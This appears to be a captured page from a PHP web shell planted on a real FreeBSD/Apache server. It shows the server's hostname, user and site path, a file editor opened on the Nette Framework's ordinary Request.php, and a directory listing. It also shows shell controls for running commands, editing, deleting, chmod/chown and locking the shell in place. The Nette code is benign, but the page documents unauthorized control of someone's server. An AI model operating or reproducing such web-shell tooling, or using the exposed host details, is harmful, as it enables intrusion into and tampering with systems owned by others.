TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
http
src
Http
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/http/src/Http/Request.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette\Http; use Nette; /** * HttpRequest provides access scheme for request sent via HTTP. * * @property-read UrlScript $url * @property-read array $query * @property-read array $post * @property-read array $files * @property-read array $cookies * @property-read string $method * @property-read array $headers * @property-read Url|NULL $referer * @property-read bool $secured * @property-read bool $ajax * @property-read string|NULL $remoteAddress * @property-read string|NULL $remoteHost * @property-read string|NULL $rawBody */ class Request extends Nette\Object implements IRequest { /** @var string */ private $method; /** @var UrlScript */ private $url; /** @var array */ private $post; /** @var array */ private $files; /** @var array */ private $cookies; /** @var array */ private $headers; /** @var string|NULL */ private $remoteAddress; /** @var string|NULL */ private $remoteHost; /** @var callable|NULL */ private $rawBodyCallback; public function __construct(UrlScript $url, $query = NULL, $post = NULL, $files = NULL, $cookies = NULL, $headers = NULL, $method = NULL, $remoteAddress = NULL, $remoteHost = NULL, $rawBodyCallback = NULL) { $this->url = $url; if ($query !== NULL) { trigger_error('Nette\Http\Request::__construct(): parameter $query is deprecated.', E_USER_DEPRECATED); $url->setQuery($query); } $this->post = (array) $post; $this->files = (array) $files; $this->cookies = (array) $cookies; $this->headers = array_change_key_case((array) $headers, CASE_LOWER); $this->method = $method ?: 'GET'; $this->remoteAddress = $remoteAddress; $this->remoteHost = $remoteHost; $this->rawBodyCallback = $rawBodyCallback; } /** * Returns URL object. * @return UrlScript */ public function getUrl() { return clone $this->url; } /********************* query, post, files & cookies ****************d*g**/ /** * Returns variable provided to the script via URL query ($_GET). * If no key is passed, returns the entire array. * @param string key * @param mixed default value * @return mixed */ public function getQuery($key = NULL, $default = NULL) { if (func_num_args() === 0) { return $this->url->getQueryParameters(); } else { return $this->url->getQueryParameter($key, $default); } } /** * Returns variable provided to the script via POST method ($_POST). * If no key is passed, returns the entire array. * @param string key * @param mixed default value * @return mixed */ public function getPost($key = NULL, $default = NULL) { if (func_num_args() === 0) { return $this->post; } elseif (isset($this->post[$key])) { return $this->post[$key]; } else { return $default; } } /** * Returns uploaded file. * @param string key * @return FileUpload|NULL */ public function getFile($key) { if (func_num_args() > 1) { trigger_error('Calling getFile() with multiple keys is deprecated.', E_USER_DEPRECATED); return Nette\Utils\Arrays::get($this->files, func_get_args(), NULL); } return isset($this->files[$key]) ? $this->files[$key] : NULL; } /** * Returns uploaded files. * @return array */ public function getFiles() { return $this->files; } /** * Returns variable provided to the script via HTTP cookies. * @param string key * @param mixed default value * @return mixed */ public function getCookie($key, $default = NULL) { return isset($this->cookies[$key]) ? $this->cookies[$key] : $default; } /** * Returns variables provided to the script via HTTP cookies. * @return array */ public function getCookies() { return $this->cookies; } /********************* method & headers ****************d*g**/ /** * Returns HTTP request method (GET, POST, HEAD, PUT, ...). The method is case-sensitive. * @return string */ public function getMethod() { return $this->method; } /** * Checks if the request method is the given one. * @param string * @return bool */ public function isMethod($method) { return strcasecmp($this->method, $method) === 0; } /** * @deprecated */ public function isPost() { return $this->isMethod('POST'); } /** * Return the value of the HTTP header. Pass the header name as the * plain, HTTP-specified header name (e.g. 'Accept-Encoding'). * @param string * @param mixed * @return mixed */ public function getHeader($header, $default = NULL) { $header = strtolower($header); return isset($this->headers[$header]) ? $this->headers[$header] : $default; } /** * Returns all HTTP headers. * @return array */ public function getHeaders() { return $this->headers; } /** * Returns referrer. * @return Url|NULL */ public function getReferer() { return isset($this->headers['referer']) ? new Url($this->headers['referer']) : NULL; } /** * Is the request is sent via secure channel (https). * @return bool */ public function isSecured() { return $this->url->getScheme() === 'https'; } /** * Is AJAX request? * @return bool */ public function isAjax() { return $this->getHeader('X-Requested-With') === 'XMLHttpRequest'; } /** * Returns the IP address of the remote client. * @return string|NULL */ public function getRemoteAddress() { return $this->remoteAddress; } /** * Returns the host of the remote client. * @return string|NULL */ public function getRemoteHost() { if ($this->remoteHost === NULL && $this->remoteAddress !== NULL) { $this->remoteHost = getHostByAddr($this->remoteAddress); } return $this->remoteHost; } /** * Returns raw content of HTTP request body. * @return string|NULL */ public function getRawBody() { return $this->rawBodyCallback ? call_user_func($this->rawBodyCallback) : NULL; } /** * Parse Accept-Language header and returns preferred language. * @param string[] supported languages * @return string|NULL */ public function detectLanguage(array $langs) { $header = $this->getHeader('Accept-Language'); if (!$header) { return NULL; } $s = strtolower($header); // case insensitive $s = strtr($s, '_', '-'); // cs_CZ means cs-CZ rsort($langs); // first more specific preg_match_all('#(' . implode('|', $langs) . ')(?:-[^\s,;=]+)?\s*(?:;\s*q=([0-9.]+))?#', $s, $matches); if (!$matches[0]) { return NULL; } $max = 0; $lang = NULL; foreach ($matches[1] as $key => $value) { $q = $matches[2][$key] === '' ? 1.0 : (float) $matches[2][$key]; if ($q > $max) { $max = $q; $lang = $value; } } return $lang; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Helpers.php
1875
0644
2016-02-27 09:37:52
Unknown/Unknown
IRequest.php
2707
0644
2016-02-27 09:37:52
Unknown/Unknown
RequestFactory.php
7085
0644
2018-07-10 17:51:50
Unknown/Unknown
IResponse.php
3726
0644
2016-02-27 09:37:52
Unknown/Unknown
Request.php
6797
0644
2016-02-27 09:37:52
Unknown/Unknown
UrlScript.php
1439
0644
2018-07-10 17:51:50
Unknown/Unknown
FileUpload.php
3909
0644
2018-07-10 17:51:50
Unknown/Unknown
SessionSection.php
4749
0644
2018-07-10 17:51:50
Unknown/Unknown
Response.php
8003
0644
2018-07-10 17:51:51
Unknown/Unknown
Context.php
1985
0644
2016-02-27 09:37:52
Unknown/Unknown
Url.php
10176
0644
2018-07-10 17:51:51
Unknown/Unknown
ISessionStorage.php
518
0644
2016-02-27 09:37:51
Unknown/Unknown
Session.php
13003
0644
2018-07-10 17:51:50
Unknown/Unknown
UserStorage.php
4553
0644
2018-07-10 17:51:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin